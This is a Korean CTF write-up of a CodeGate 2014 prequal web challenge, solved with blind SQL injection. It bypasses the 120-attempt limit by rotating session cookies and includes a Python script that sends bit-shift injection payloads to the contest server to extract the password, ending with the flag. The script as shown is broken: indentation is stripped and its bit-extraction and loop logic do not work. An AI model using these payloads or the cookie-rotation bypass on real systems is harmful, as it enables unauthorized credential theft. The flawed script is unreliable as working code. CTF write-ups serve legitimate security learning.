문제는 웹 문제이며 Blind Sql Injection 문제이다.
랜덤으로 30글자의 password를 설정하고 120번동안 password를 맞출 수 있는 기회가 있는데 그 기회를 모두 사용하면 password가 초기화 되어 또 랜덤 30글자가 만들어진다
또한 문제 부분에 sql injection 취약점이 있으며 쿼리를 잘 조정하면 password를 빼올 수 있었는데, 총 30글자에 120번의 기회면 1글자당 4번의 기회가 있는 것이다.
기존에 내가 사용하던 무작위 대입으론 별로 효과가 없을 것이고 bit shift를 이용한 풀이도 또한 7번의 기회가 있어야 하므로 충분하지 않다. [최소한 4번의 기회가 필요하다.]
고민고민 중에 새로운 문서를 찾아보기도 하고 등등 했는데 [write up을 다쓰고보니 time-based blind sql injection을 한 분도 꽤나 많은것 같다.]
별로 소용이 없어서 다른 방법을 찾아보기로 했다.
소스코드를 보니 아니나 다를까 ip와 session으로 서로 다른것을 체크하기 때문에 쿠키 값만 다르고 ip는 똑같다면 여러번의 기회를 만들 수 있다.
예를들어서 A 쿠키로 먼저 접속후 sql injection 쿼리를 날리고 , B 쿠키로 접속하면 다시 기회가 120번이 남아있는 것을 볼 수있다.
또 A쿠키로 접속해보면 (120 - sql injection시도 횟수) 만큼 기회가 남아 있을 것이다.
바로 blind sql injection 툴을 짯다.
#97 - 122
import httplib,urllib;
from urllib import urlopen
#password=0'<1) and (0<1) and(if(ascii(substr(password,1,2))<150, 1, 0)=1) or (1<'0
#password=0'<1) and (0<1) and((ascii(substr(password,1,2))>>6)>1) or (1<'0
headers = {"Content-type":"application/x-www-form-urlencoded","Cookie":"PHPSESSID=ztv6lne26k1tgf2q8803stn2ka5"}
host = "http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php"
result = ""
bit = ""
flag = 0
Truematch = "True"
sqlcmd = "select pass from member where id = 1"
total = 0
def change():
headers = {"Content-type":"application/x-www-form-urlencoded","Cookie":"PHPSESSID=1ztv6lne26k1tgf2q8803stn2ka5"}
def request(site,charpos,sqlcmd,match_str):
result = 3
for bitpos in range(4,-1,-1):
temp_match_str = Truematch
result *= 2
injection = "0'<1) and (0<1) and((ascii(substr(password,%d,1))>>%d)=%d) or (1<'0"%(charpos,bitpos,result)
params = urllib.urlencode({'password':injection})
print injection
conn=httplib.HTTPConnection("58.229.183.24:80")
conn.request("POST","/5a520b6b783866fd93f9dcdaf753af08/index.php",params,headers)
#conn=httplib.HTTPConnection("192.168.0.93:80")
#conn.request("POST","/codegate.php",params,headers)
if charpos == 20:
change()
print headers["Cookie"]
headers["Cookie"] = "PHPSESSID=1ztv6lne26k1tgf2q8803stn2ka5"
print "HEADER CHANGED"
response = conn.getresponse()
if temp_match_str in response.read():
result = 0
print "true 0 "
else:
result = 1
print "false 1"
return chr(result)
charpos = 1
while 1:
try:
result = request(host,charpos,sqlcmd,Truematch)
charpos = 1
print result
if len(result) == 30: break
except Exception:
print "%s => %s"%(sqlcmd,result)
break
raw_input("> ")
#Congrats! the key is DontHeartMeBaby*$#@!
방식은 20글자만큼 뽑아내면 헤더를 바꾸는 방식으로 진행했다. 그러면 먼저 사용한 쿠키엔 100번을 사용했고 나머지 쿠키는 아직 120번의 기회가 있으니 충분하다.
그리고 뽑아오는 방식은 bit shift 를 이용했고 paste bin 에 있는 기존 소스를 수정한 것이다.
Key : DontHeartMeBaby*$#@!
CodeGate 2014 PreQual WeirdShark, dodoCrackme (2) | 2014.02.25 |
---|---|
CodeGate 2014 PreQual CloneTechnique (2) | 2014.02.25 |
CodeGate 2014 PreQual Angry Doraemon (3) | 2014.02.25 |
CodaGate 2014 PreQual WebProxy write-up (0) | 2014.02.25 |
2014 CodeGate Junior PreQual - Nuclear [exploit] (12) | 2014.02.16 |